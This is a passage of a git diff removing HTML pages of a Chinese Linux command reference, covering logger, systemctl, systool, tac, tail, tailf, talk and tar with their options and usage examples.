在/var/log中创建并写入日志信息是由syslog协议处理的,是由守护进程sylogd负责执行。每个标准的进程都可以用syslog记录日志。可以使用logger命令通过syslogd记录日志。

-

要向syslog文件/var/log/messages中记录日志信息:

-
logger this is a test log line
-
-输出:
-tail -n 1 messages
-Jan  5 10:07:03 localhost root: this is a test log line
-
-

如果要记录特定的标记(tag)可以使用:

-
logger -t TAG this is a test log line
-
-输出:
-tail -n 1 messages
-Jan  5 10:37:14 localhost TAG: this is a test log line
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/systemctl.html b/linux-command.docset/Contents/Resources/Documents/c/systemctl.html deleted file mode 100644 index fd8714499d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/systemctl.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - systemctl 命令,Linux systemctl 命令详解:系统服务管理器指令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

systemctl

-

系统服务管理器指令

-

补充说明

-

systemctl命令 是系统服务管理器指令,它实际上将 service 和 chkconfig 这两个命令组合到一起。

-

| 任务 | 旧指令 | 新指令 | -| ---- | ---- | ---- | -| 使某服务自动启动 | chkconfig --level 3 httpd on | systemctl enable httpd.service | -| 使某服务不自动启动 | chkconfig --level 3 httpd off | systemctl disable httpd.service | -| 检查服务状态 | service httpd status | systemctl status httpd.service (服务详细信息) systemctl is-active httpd.service (仅显示是否 Active) | -| 显示所有已启动的服务 | chkconfig --list | systemctl list-units --type=service | -| 启动服务 | service httpd start | systemctl start httpd.service | -| 停止服务 | service httpd stop | systemctl stop httpd.service | -| 重启服务 | service httpd restart | systemctl restart httpd.service | -| 重载服务 | service httpd reload | systemctl reload httpd.service |

-

实例

-
systemctl start nfs-server.service . # 启动nfs服务
-systemctl enable nfs-server.service # 设置开机自启动
-systemctl disable nfs-server.service # 停止开机自启动
-systemctl status nfs-server.service # 查看服务当前状态
-systemctl restart nfs-server.service # 重新启动某服务
-systemctl list-units --type=service # 查看所有已启动的服务
-
-

开启防火墙22端口

-
iptables -I INPUT -p tcp --dport 22 -j accept
-
-

如果仍然有问题,就可能是SELinux导致的

-

关闭SElinux:

-

修改/etc/selinux/config文件中的SELINUX=""为disabled,然后重启。

-

彻底关闭防火墙:

-
sudo systemctl status firewalld.service
-sudo systemctl stop firewalld.service          
-sudo systemctl disable firewalld.service
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/systool.html b/linux-command.docset/Contents/Resources/Documents/c/systool.html deleted file mode 100644 index 23fb59422a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/systool.html +++ /dev/null @@ -1,256 +0,0 @@ - - - - - - - - - - - systool 命令,Linux systool 命令详解:显示基于总线、类和拓扑显示系统中设备的信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

systool

-

显示基于总线、类和拓扑显示系统中设备的信息

-

补充说明

-

systool命令 指令显示基于总线、类和拓扑显示系统中设备的信息。

-

语法

-
systool(选项)(参数)
-
-

选项

-
-a:显示被请求资源的属性;
--b<总线>:显示指定总线的信息;
--c<class>:显示指定类的信息;
--d:仅显示设备;
--h:显示指令的用法;
--m<模块名称>:显示指定模块的信息;
--p:显示资源的“sysfs”绝对路径;
--v:显示所有属性;
--A<属性>:显示请求资源的属性值;
--D:仅显示驱动程序信息;
--P:显示设备的父类。
-
-

参数

-

设备:指定要查看信息的设备名称。

-

实例

-
[root@localhost ~]# systool
-Supported sysfs buses:
-        acpi
-        i2c
-        ide
-        pci_express
-        pci
-        pcmcia
-        platform
-        pnp
-        scsi
-        serio
-        usb
-Supported sysfs classes:
-        backlight
-        cpuid
-        dma_v3
-        firmware
-        graphics
-        hidraw
-        hwmon
-        i2c-adapter
-        input
-        leds
-        mem
-        misc
-        msr
-        net
-        pci_bus
-        pcmcia_socket
-        printer
-        raw
-        sas_device
-        sas_end_device
-        sas_expander
-        sas_host
-        sas_phy
-        sas_port
-        scsi_device
-        scsi_disk
-        scsi_generic
-        scsi_host
-        sound
-        tty
-        usb_device
-        usb_endpoint
-        usb_host
-        vc
-        vtconsole
-Supported sysfs devices:
-        acpi
-        pci0000:00
-        platform
-        pnp0
-        sequencer2
-        sequencer
-        seq
-        system
-        timer
-Supported sysfs modules:
-        8250
-        acpi_memhotplug
-        ac
-        asus_acpi
-        ata_piix
-        auth_rpcgss
-        backlight
-        battery
-        button
-        cifs
-        cpufreq
-        crypto_api
-        dell_wmi
-        dm_log
-        dm_mem_cache
-        dm_message
-        dm_mirror
-        dm_mod
-        dm_multipath
-        dm_raid45
-        dm_region_hash
-        dock
-        e1000e
-        edac_mc
-        ehci_hcd
-        exportfs
-        ext3
-        hwmon
-        i2c_core
-        i2c_ec
-        i2c_i801
-        i7core_edac
-        i8042
-        ip_conntrack_netbios_ns
-        ip_conntrack
-        ip_tables
-        iptable_filter
-        ipv6
-        it821x
-        jbd
-        joydev
-        keyboard
-        libata
-        lockd
-        lp
-        md_mod
-        mousedev
-        mpt2sas
-        nfnetlink
-        nfs_acl
-        nfsd
-        nls_utf8
-        ohci_hcd
-        parport_pc
-        parport
-        pci_hotplug
-        pcmcia
-        pcmcia_core
-        pcspkr
-        piix
-        power_meter
-        printk
-        processor
-        psmouse
-        rsrc_nonstatic
-        sbs
-        scsi_dh
-        scsi_mod
-        scsi_transport_sas
-        sd_mod
-        serio_raw
-        sg
-        shpchp
-        snd_hda_intel
-        snd_hwdep
-        snd_mixer_oss
-        snd_page_alloc
-        snd_pcm_oss
-        snd_pcm
-        snd_seq_device
-        snd_seq_dummy
-        snd_seq_midi_event
-        snd_seq_oss
-        snd_seq
-        snd_timer
-        snd
-        soundcore
-        sunrpc
-        tcp_bic
-        tpm_bios
-        tpm_tis
-        tpm
-        uhci_hcd
-        usbcore
-        usbhid
-        video
-        wmi
-        x_tables
-        xfrm_nalgo
-        xt_limit
-        xt_state
-        xt_tcpudp
-        yenta_socket
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tac.html b/linux-command.docset/Contents/Resources/Documents/c/tac.html deleted file mode 100644 index 028cc906f9..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tac.html +++ /dev/null @@ -1,118 +0,0 @@ - - - - - - - - - - - tac 命令,Linux tac 命令详解:连接多个文件并以行为单位反向打印到标准输出。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tac

-

连接多个文件并以行为单位反向打印到标准输出。

-

概要

-
tac [OPTION]... [FILE]...
-
-

主要用途

-
    -
  • 按行为单位反向显示文件内容,如果没有文件或文件为-则读取标准输入。
  • -
  • 处理多个文件时,依次将每个文件反向显示,而不是将所有文件连在一起再反向显示。
  • -
-

参数

-

FILE(可选):要处理的文件,可以为一或多个。

-

选项

-
长选项与短选项等价
-
--b, --before              在之前而不是之后连接分隔符。
--r, --regex               将分隔符作为基础正则表达式(BRE)处理。
--s, --separator=STRING    使用STRING作为分隔符代替默认的换行符。
---help                    显示帮助信息并退出。
---version                 显示版本信息并退出。
-
-

返回值

-

返回状态为成功除非给出了非法选项或非法参数。

-

例子

-
# 选自官方info文档的例子:
-# 一个接着一个字符的反转一个文件:
-tac -r -s 'x\|[^x]' test.log
-
-# 关于-b选项:
-seq 1 3 |tac
-# 输出
-3
-2
-1
-# 使用-b选项:
-seq 1 3 |tac -b
-# 输出,注意21后面没有换行符:
-
-
-3
-21
-# 前一个例子相当于将 '1\n2\n3\n' 转换为 '3\n2\n1\n'
-# 前一个例子相当于将 '1\n2\n3\n' 转换为 '\n\n3\n21'
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 tacinfo coreutils 'tac invocation'
  2. -
  3. 关于基础正则表达式(BRE)的内容,详见man -s 1 grepREGULAR EXPRESSIONS段落。
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tail.html b/linux-command.docset/Contents/Resources/Documents/c/tail.html deleted file mode 100644 index cd98087cd3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tail.html +++ /dev/null @@ -1,118 +0,0 @@ - - - - - - - - - - - tail 命令,Linux tail 命令详解:在屏幕上显示指定文件的末尾若干行 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tail

-

在屏幕上显示指定文件的末尾若干行

-

补充说明

-

tail命令 用于输入文件中的尾部内容。

-
    -
  • 默认在屏幕上显示指定文件的末尾10行。
  • -
  • 处理多个文件时会在各个文件之前附加含有文件名的行。
  • -
  • 如果没有指定文件或者文件名为-,则读取标准输入。
  • -
  • 如果表示字节或行数的NUM值之前有一个+号,则从文件开头的第NUM项开始显示,而不是显示文件的最后NUM项。
  • -
  • NUM值后面可以有后缀: -
      -
    • b : 512
    • -
    • kB : 1000
    • -
    • k : 1024
    • -
    • MB : 1000 * 1000
    • -
    • M : 1024 * 1024
    • -
    • GB : 1000 * 1000 * 1000
    • -
    • G : 1024 * 1024 * 1024
    • -
    • TPEZY等以此类推。
    • -
    -
  • -
-

语法

-
tail (选项) (参数)
-
-

选项

-
-c, --bytes=NUM                 输出文件尾部的NUM(NUM为整数)个字节内容。
--f, --follow[={name|descript}]  显示文件最新追加的内容。“name”表示以文件名的方式监视文件的变化。
--F                              与 “--follow=name --retry” 功能相同。
--n, --line=NUM                  输出文件的尾部NUM(NUM位数字)行内容。
---pid=<进程号>                  与“-f”选项连用,当指定的进程号的进程终止后,自动退出tail命令。
--q, --quiet, --silent           当有多个文件参数时,不输出各个文件名。
---retry                         即是在tail命令启动时,文件不可访问或者文件稍后变得不可访问,都始终尝试打开文件。使用此选项时需要与选项“--follow=name”连用。
--s, --sleep-interal=<秒数>      与“-f”选项连用,指定监视文件变化时间隔的秒数。
--v, --verbose                   当有多个文件参数时,总是输出各个文件名。
---help                          显示指令的帮助信息。
---version                       显示指令的版本信息。
-
-

参数

-

文件列表:指定要显示尾部内容的文件列表。

-

实例

-
tail file #(显示文件file的最后10行)
-tail -n +20 file #(显示文件file的内容,从第20行至文件末尾)
-tail -c 10 file #(显示文件file的最后10个字节)
-
-tail -25 mail.log # 显示 mail.log 最后的 25 行
-tail -f mail.log # 等同于--follow=descriptor,根据文件描述符进行追踪,当文件改名或被删除,追踪停止
-tail -F mail.log # 等同于--follow=name --retry,根据文件名进行追踪,并保持重试,即该文件被删除或改名后,如果再次创建相同的文件名,会继续追踪
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tailf.html b/linux-command.docset/Contents/Resources/Documents/c/tailf.html deleted file mode 100644 index 7fce11727e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tailf.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - tailf 命令,Linux tailf 命令详解:在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tailf

-

在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出

-

补充说明

-

tailf命令几乎等同于tail -f,严格说来应该与tail --follow=name更相似些。当文件改名之后它也能继续跟踪,特别适合于日志文件的跟踪(follow the growth of a log file)。与tail -f不同的是,如果文件不增长,它不会去访问磁盘文件。tailf特别适合那些便携机上跟踪日志文件,因为它能省电,因为减少了磁盘访问。tailf命令不是个脚本,而是一个用C代码编译后的二进制执行文件,某些Linux安装之后没有这个命令。

-

tailf和tail -f的区别

-
    -
  1. tailf 总是从文件开头一点一点的读, 而tail -f 则是从文件尾部开始读
  2. -
  3. tailf check文件增长时,使用的是文件名, 用stat系统调用;而tail -f 则使用的是已打开的文件描述符; 注:tail 也可以做到类似跟踪文件名的效果; 但是tail总是使用fstat系统调用,而不是stat系统调用;结果就是:默认情况下,当tail的文件被偷偷删除时,tail是不知道的,而tailf是知道的。
  4. -
-

语法

-
tailf logfile # 动态跟踪日志文件logfile,最初的时候打印文件的最后10行内容。
-
-

选项

-
-n, --lines NUMBER  # 输出最后数行
--NUMBER             # 与NUMBER相同 `-n NUMBER'
--V, --version       # 输出版本信息并退出
--h, --help          # 显示帮助并退出
-
-

参数

-

目标:指定目标日志。

-

实例

-
tailf log/WEB.LOG 
-tailf -n 5 log2014.log   # 显示文件最后5行内容
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/talk.html b/linux-command.docset/Contents/Resources/Documents/c/talk.html deleted file mode 100644 index a7736e2f99..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/talk.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - - - - - - talk 命令,Linux talk 命令详解:让用户和其他用户聊天 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

talk

-

让用户和其他用户聊天

-

补充说明

-

talk命令 是talk服务器的客户端工具,通过talk命令可以让用户和其他用户聊天。linux中talk命令参数程序的使用很简单,只要知道交谈对象的地址,就可以邀请对方交谈。

-

语法

-
talk(参数)
-
-

参数

-
    -
  • 用户:指定聊天的用户;
  • -
  • 终端:指定用户的终端。
  • -
-

实例

-

例如登录在主机rs6000.cic.test.com上的用户jdx希望和登录在主机tirc.cs.test.com上的用户wangxz进行交谈,则可以输入下面的命令:

-
talk wangxz@tirc.cs.test.com
-
-

Internet上的相关程序(Talk Daemon)就会传送一条信息邀请wangxz来交谈,这时用户wangxz的屏幕上就会出现如下信息,并响铃提示:

-
Message from Talk_Daemon@tirc.cs.test.com at 21:44 …
-talk: connection requested by jdx@rs6000.cic.test.com
-talk: respond with:  talk jdx@rs6000.cic.test.com
-
-

这时,用户wangxz应该做的工作就是按照上面的信息提示,即输入linux中talk命令:

-
talk jdx@rs6000.cic.test.com
-
-

之后,连接建立成功,两个用户就可以进行交谈了。这时,双方的终端屏幕上都将显示信息 [Connection established] 并响铃,同时屏幕被linux中talk命令程序以一条水平线分割为上下两部分,上半部分用来显示用户自己输入的内容,下半部分用来显示对方输入的内容。两个用户可以同时输入,他们输入的内容将会立即显示在双方的屏幕上。

-

在用户进行输入时,可按 BACKSPACE 见来更正前一个字符,也可按 CTRL+w 来删除一个完整的单词,或者用 CTRL+U 来删除一整行,另外,用户还可以通过按 CTRL+L 来刷新屏幕。如果要结束交谈,可由任何一方按下 CTRL+C 来中断连接,但在结束对话前最好道声“再见”,并等待对方回应。linux中talk命令程序结束时,在屏幕上将回显示一条信息:

-
[Connection closing. Exiting]
-
-

并非每次要求对方交谈都能成功,有时对方没有登录,则linux中talk命令程序提示信息:

-
[Your party is not logged on]
-
-

并退出;如果对方已登录,但因某种原因(如不是正在使用机器)没有响应,那么linux中talk命令程序将会每隔10秒钟给他发一条邀请信息,同时在自己的屏幕上显示:

-
[Ringing your party again]
-
-

如果用户不愿等待,则可以按 CTRL+C 终止linux中talk命令程序。还有的时候系统可能出现下面的信息:

-
[Checking for invitation on caller’s machine]
-
-

这说明双方的linux中talk命令程序不兼容,这时可以试试ntalk和ytalk命令,如果没有,就只好找系统管理员了。

-

如果用户在做某些紧急工作(如编辑邮件)时不希望被linux中talk命令的邀请打搅,他可以使用命令:

-
mesg n
-
-

来暂时拒绝交谈,这时如果有用户邀请他交谈,只能得到提示信息:

-
[Your party is refusing messages]
-
-

不过要注意的是,一旦完成紧急工作。最好立即打开信息接收开关(用命令mesg y),否则将会失去很多信息交流的机会。

-

以上是linux中talk命令参数的是使用方法。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tar.html b/linux-command.docset/Contents/Resources/Documents/c/tar.html deleted file mode 100644 index 2aa16472d4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tar.html +++ /dev/null @@ -1,502 +0,0 @@ - - - - - - - - - - - tar 命令,Linux tar 命令详解:将许多文件一起保存至一个单独的磁带或磁盘归档,并能从归档中单独还原所需文件。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tar

-

将许多文件一起保存至一个单独的磁带或磁盘归档,并能从归档中单独还原所需文件。

-

补充说明

-

tar命令 可以为linux的文件和目录创建档案。利用tar,可以为某一特定文件创建档案(备份文件),也可以在档案中改变文件,或者向档案中加入新的文件。tar最初被用来在磁带上创建档案,现在,用户可以在任何设备上创建档案。利用tar命令,可以把一大堆的文件和目录全部打包成一个文件,这对于备份文件或将几个文件组合成为一个文件以便于网络传输是非常有用的。

-

首先要弄清两个概念:打包和压缩。打包是指将一大堆文件或目录变成一个总的文件;压缩则是将一个大的文件通过一些压缩算法变成一个小文件。

-

为什么要区分这两个概念呢?这源于Linux中很多压缩程序只能针对一个文件进行压缩,这样当你想要压缩一大堆文件时,你得先将这一大堆文件先打成一个包(tar命令),然后再用压缩程序进行压缩(gzip bzip2命令)。

-

语法

-
tar [选项...] [FILE]...
-
-

选项

-
-A, --catenate, --concatenate   追加 tar 文件至归档
--c, --create               创建一个新归档
--d, --diff, --compare      找出归档和文件系统的差异
-    --delete               从归档(非磁带!)中删除
--r, --append               追加文件至归档结尾
--t, --list                 列出归档内容
-    --test-label           测试归档卷标并退出
--u, --update               仅追加比归档中副本更新的文件
--x, --extract, --get       从归档中解出文件
-
-操作修饰符:
-
-      --check-device         当创建增量归档时检查设备号(默认)
-  -g, --listed-incremental=FILE   处理新式的 GNU 格式的增量备份
-  -G, --incremental          处理老式的 GNU 格式的增量备份
-      --ignore-failed-read
-                             当遇上不可读文件时不要以非零值退出
-      --level=NUMBER         所创建的增量列表归档的输出级别
-  -n, --seek                 归档可检索
-      --no-check-device      当创建增量归档时不要检查设备号
-      --no-seek              归档不可检索
-      --occurrence[=NUMBER]  仅处理归档中每个文件的第 NUMBER
-                             个事件;仅当与以下子命令 --delete,
-                             --diff, --extract 或是 --list
-                             中的一个联合使用时,此选项才有效。而且不管文件列表是以命令行形式给出或是通过
-                             -T 选项指定的;NUMBER 值默认为 1
-      --sparse-version=MAJOR[.MINOR]
-                             设置所用的离散格式版本(隐含
-                             --sparse)
-  -S, --sparse               高效处理离散文件
-
- 重写控制:
-
-  -k, --keep-old-files       don't replace existing files when extracting,
-                             treat them as errors
-      --keep-directory-symlink   preserve existing symlinks to directories when
-                             extracting
-      --keep-newer-files
-                             不要替换比归档中副本更新的已存在的文件
-      --no-overwrite-dir     保留已存在目录的元数据
-      --overwrite            解压时重写存在的文件
-      --overwrite-dir        解压时重写已存在目录的元数据(默认)
-
-      --recursive-unlink     解压目录之前先清除目录层次
-      --remove-files         在添加文件至归档后删除它们
-      --skip-old-files       don't replace existing files when extracting,
-                             silently skip over them
-  -U, --unlink-first         在解压要重写的文件之前先删除它们
-  -W, --verify               在写入以后尝试校验归档
-
- 选择输出流:
-
-      --ignore-command-error 忽略子进程的退出代码
-      --no-ignore-command-error
-                             将子进程的非零退出代码认为发生错误
-  -O, --to-stdout            解压文件至标准输出
-      --to-command=COMMAND
-                             将解压的文件通过管道传送至另一个程序
-
- 操作文件属性:
-
-      --atime-preserve[=METHOD]
-                             在输出的文件上保留访问时间,要么通过在读取(默认
-                             METHOD=‘replace’)后还原时间,要不就不要在第一次(METHOD=‘system’)设置时间
-      --delay-directory-restore
-                             直到解压结束才设置修改时间和所解目录的权限
-      --group=名称         强制将 NAME
-                             作为所添加的文件的组所有者
-      --mode=CHANGES         强制将所添加的文件(符号)更改为权限
-                             CHANGES
-      --mtime=DATE-OR-FILE   从 DATE-OR-FILE 中为添加的文件设置
-                             mtime
-  -m, --touch                不要解压文件的修改时间
-      --no-delay-directory-restore
-                             取消 --delay-directory-restore 选项的效果
-      --no-same-owner
-                             将文件解压为您所有(普通用户默认此项)
-      --no-same-permissions
-                             从归档中解压权限时使用用户的掩码位(默认为普通用户服务)
-      --numeric-owner        总是以数字代表用户/组的名称
-      --owner=名称         强制将 NAME
-                             作为所添加的文件的所有者
-  -p, --preserve-permissions, --same-permissions
-                             解压文件权限信息(默认只为超级用户服务)
-      --preserve             与 -p 和 -s 一样
-      --same-owner
-                             尝试解压时保持所有者关系一致(超级用户默认此项)
-  -s, --preserve-order, --same-order
-                             member arguments are listed in the same order as
-                             the files in the archive
-
- Handling of extended file attributes:
-
-      --acls                 Enable the POSIX ACLs support
-      --no-acls              Disable the POSIX ACLs support
-      --no-selinux           Disable the SELinux context support
-      --no-xattrs            Disable extended attributes support
-      --selinux              Enable the SELinux context support
-      --xattrs               Enable extended attributes support
-      --xattrs-exclude=MASK  specify the exclude pattern for xattr keys
-      --xattrs-include=MASK  specify the include pattern for xattr keys
-
- 设备选择和切换:
-
-  -f, --file=ARCHIVE         使用归档文件或 ARCHIVE 设备
-      --force-local
-                             即使归档文件存在副本还是把它认为是本地归档
-  -F, --info-script=名称, --new-volume-script=名称
-                             在每卷磁带最后运行脚本(隐含 -M)
-  -L, --tape-length=NUMBER   写入 NUMBER × 1024 字节后更换磁带
-  -M, --multi-volume         创建/列出/解压多卷归档文件
-      --rmt-command=COMMAND  使用指定的 rmt COMMAND 代替 rmt
-      --rsh-command=COMMAND  使用远程 COMMAND 代替 rsh
-      --volno-file=FILE      使用/更新 FILE 中的卷数
-
- 设备分块:
-
-  -b, --blocking-factor=BLOCKS   每个记录 BLOCKS x 512 字节
-  -B, --read-full-records    读取时重新分块(只对 4.2BSD 管道有效)
-  -i, --ignore-zeros         忽略归档中的零字节块(即文件结尾)
-      --record-size=NUMBER   每个记录的字节数 NUMBER,乘以 512
-
- 选择归档格式:
-
-  -H, --format=FORMAT        创建指定格式的归档
-
- FORMAT 是以下格式中的一种:
-
-    gnu                      GNU tar 1.13.x 格式
-    oldgnu                   GNU 格式 as per tar <= 1.12
-    pax                      POSIX 1003.1-2001 (pax) 格式
-    posix                    等同于 pax
-    ustar                    POSIX 1003.1-1988 (ustar) 格式
-    v7                       old V7 tar 格式
-
-      --old-archive, --portability
-                             等同于 --format=v7
-      --pax-option=关键字[[:]=][,关键字[[:]=]]...
-                             控制 pax 关键字
-      --posix                等同于 --format=posix
-  -V, --label=TEXT           创建带有卷名 TEXT
-                             的归档;在列出/解压时,使用 TEXT
-                             作为卷名的模式串
-
- 压缩选项:
-
-  -a, --auto-compress        使用归档后缀名来决定压缩程序
-  -I, --use-compress-program=PROG
-                             通过 PROG 过滤(必须是能接受 -d
-                             选项的程序)
-  -j, --bzip2                通过 bzip2 过滤归档
-  -J, --xz                   通过 xz 过滤归档
-      --lzip                 通过 lzip 过滤归档
-      --lzma                 通过 lzma 过滤归档
-      --lzop
-      --no-auto-compress     不使用归档后缀名来决定压缩程序
-  -z, --gzip, --gunzip, --ungzip   通过 gzip 过滤归档
-  -Z, --compress, --uncompress   通过 compress 过滤归档
-
- 本地文件选择:
-
-      --add-file=FILE        添加指定的 FILE 至归档(如果名字以 -
-                             开始会很有用的)
-      --backup[=CONTROL]     在删除前备份,选择 CONTROL 版本
-  -C, --directory=DIR        改变至目录 DIR
-      --exclude=PATTERN      排除以 PATTERN 指定的文件
-      --exclude-backups      排除备份和锁文件
-      --exclude-caches       除标识文件本身外,排除包含
-                             CACHEDIR.TAG 的目录中的内容
-      --exclude-caches-all   排除包含 CACHEDIR.TAG 的目录
-      --exclude-caches-under 排除包含 CACHEDIR.TAG 的目录中所有内容
-
-      --exclude-tag=FILE     除 FILE 自身外,排除包含 FILE
-                             的目录中的内容
-      --exclude-tag-all=FILE 排除包含 FILE 的目录
-      --exclude-tag-under=FILE   排除包含 FILE 的目录中的所有内容
-      --exclude-vcs          排除版本控制系统目录
-  -h, --dereference
-                             跟踪符号链接;将它们所指向的文件归档并输出
-      --hard-dereference
-                             跟踪硬链接;将它们所指向的文件归档并输出
-  -K, --starting-file=MEMBER-NAME
-                             begin at member MEMBER-NAME when reading the
-                             archive
-      --newer-mtime=DATE     当只有数据改变时比较数据和时间
-      --no-null              禁用上一次的效果 --null 选项
-      --no-recursion         避免目录中的自动降级
-      --no-unquote           不以 -T 读取的文件名作为引用结束
-      --null                 -T 读取以空终止的名字,-C 禁用
-  -N, --newer=DATE-OR-FILE, --after-date=DATE-OR-FILE
-                             只保存比 DATE-OR-FILE 更新的文件
-      --one-file-system      创建归档时保存在本地文件系统中
-  -P, --absolute-names       不要从文件名中清除引导符‘/’
-      --recursion            目录递归(默认)
-      --suffix=STRING        在删除前备份,除非被环境变量
-                             SIMPLE_BACKUP_SUFFIX
-                             覆盖,否则覆盖常用后缀(‘’)
-  -T, --files-from=FILE      从 FILE
-                             中获取文件名来解压或创建文件
-      --unquote              以 -T
-                             读取的文件名作为引用结束(默认)
-  -X, --exclude-from=FILE    排除 FILE 中列出的模式串
-
- 文件名变换:
-
-      --strip-components=NUMBER   解压时从文件名中清除 NUMBER
-                             个引导部分
-      --transform=EXPRESSION, --xform=EXPRESSION
-                             使用 sed 代替 EXPRESSION
-                             来进行文件名变换
-
- 文件名匹配选项(同时影响排除和包括模式串):
-
-      --anchored             模式串匹配文件名头部
-      --ignore-case          忽略大小写
-      --no-anchored          模式串匹配任意‘/’后字符(默认对
-                             exclusion 有效)
-      --no-ignore-case       匹配大小写(默认)
-      --no-wildcards         逐字匹配字符串
-      --no-wildcards-match-slash   通配符不匹配‘/’
-      --wildcards            use wildcards (default)
-      --wildcards-match-slash
-                             通配符匹配‘/’(默认对排除操作有效)
-
- 提示性输出:
-
-      --checkpoint[=NUMBER]  每隔 NUMBER
-                             个记录显示进度信息(默认为 10)
-      --checkpoint-action=ACTION   在每个检查点上执行 ACTION
-      --full-time            print file time to its full resolution
-      --index-file=FILE      将详细输出发送至 FILE
-  -l, --check-links
-                             只要不是所有链接都被输出就打印信息
-      --no-quote-chars=STRING   禁用来自 STRING 的字符引用
-      --quote-chars=STRING   来自 STRING 的额外的引用字符
-      --quoting-style=STYLE  设置名称引用风格;有效的 STYLE
-                             值请参阅以下说明
-  -R, --block-number         每个信息都显示归档内的块数
-      --show-defaults        显示 tar 默认选项
-      --show-omitted-dirs
-                             列表或解压时,列出每个不匹配查找标准的目录
-      --show-transformed-names, --show-stored-names
-                             显示变换后的文件名或归档名
-      --totals[=SIGNAL]      处理归档后打印出总字节数;当此
-                             SIGNAL 被触发时带参数 -
-                             打印总字节数;允许的信号为:
-                             SIGHUP,SIGQUIT,SIGINT,SIGUSR1 和
-                             SIGUSR2;同时也接受不带 SIG
-                             前缀的信号名称
-      --utc                  以 UTC 格式打印文件修改时间
-  -v, --verbose              详细地列出处理的文件
-      --warning=KEYWORD      警告控制:
-  -w, --interactive, --confirmation
-                             每次操作都要求确认
-
- 兼容性选项:
-
-  -o                         创建归档时,相当于
-                             --old-archive;展开归档时,相当于
-                             --no-same-owner
-
- 其它选项:
-
-  -?, --help                 显示此帮助列表
-      --restrict             禁用某些潜在的有危险的选项
-      --usage                显示简短的用法说明
-      --version              打印程序版本
-
-长选项和相应短选项具有相同的强制参数或可选参数。
-
-除非以 --suffix 或 SIMPLE_BACKUP_SUFFIX
-设置备份后缀,否则备份后缀就是“~”。
-可以用 --backup 或 VERSION_CONTROL 设置版本控制,可能的值为:
-
-  none, off	   从不做备份
-  t, numbered     进行编号备份
-  nil, existing
-如果编号备份存在则进行编号备份,否则进行简单备份
-  never, simple   总是使用简单备份
-
---quoting-style 选项的有效参数为:
-
-  literal
-  shell
-  shell-always
-  c
-  c-maybe
-  escape
-  locale
-  clocale
-
-此 tar 默认为:
---format=gnu -f- -b20 --quoting-style=escape --rmt-command=/etc/rmt
---rsh-command=/usr/bin/ssh
-
-

参数

-

文件或目录:指定要打包的文件或目录列表。

-

实例

-
- z:有gzip属性的
-- j:有bz2属性的
-- Z:有compress属性的
-- v:显示所有过程
-- O:将文件解开到标准输出
-
-
tar -cf archive.tar foo bar  # 从文件 foo 和 bar 创建归档文件 archive.tar。
-tar -tvf archive.tar         # 详细列举归档文件 archive.tar 中的所有文件。
-tar -xf archive.tar          # 展开归档文件 archive.tar 中的所有文件。
-
-

下面的参数-f是必须的

-

-f: 使用档案名字,切记,这个参数是最后一个参数,后面只能接档案名。

-
tar -cf all.tar *.jpg
-# 这条命令是将所有.jpg的文件打成一个名为all.tar的包。-c是表示产生新的包,-f指定包的文件名。
-
-tar -rf all.tar *.gif
-# 这条命令是将所有.gif的文件增加到all.tar的包里面去。-r是表示增加文件的意思。
-
-tar -uf all.tar logo.gif
-# 这条命令是更新原来tar包all.tar中logo.gif文件,-u是表示更新文件的意思。
-
-tar -tf all.tar
-# 这条命令是列出all.tar包中所有文件,-t是列出文件的意思
-
-
tar -cvf archive.tar foo bar  # 从文件foo和bar创建archive.tar。
-tar -tvf archive.tar         # 详细列出archive.tar中的所有文件。
-tar -xf archive.tar          # 从archive.tar提取所有文件。
-
-

zip格式

-

压缩: zip -r [目标文件名].zip [原文件/目录名]
-解压: unzip [原文件名].zip
-注:-r参数代表递归

-

tar格式(该格式仅仅打包,不压缩)

-

打包:tar -cvf [目标文件名].tar [原文件名/目录名]
-解包:tar -xvf [原文件名].tar
-注:c参数代表create(创建),x参数代表extract(解包),v参数代表verbose(详细信息),f参数代表filename(文件名),所以f后必须接文件名。

-

tar.gz格式

-

方式一:利用前面已经打包好的tar文件,直接用压缩命令。

-

压缩:gzip [原文件名].tar
-解压:gunzip [原文件名].tar.gz

-

方式二:一次性打包并压缩、解压并解包

-

打包并压缩: tar -zcvf [目标文件名].tar.gz [原文件名/目录名]
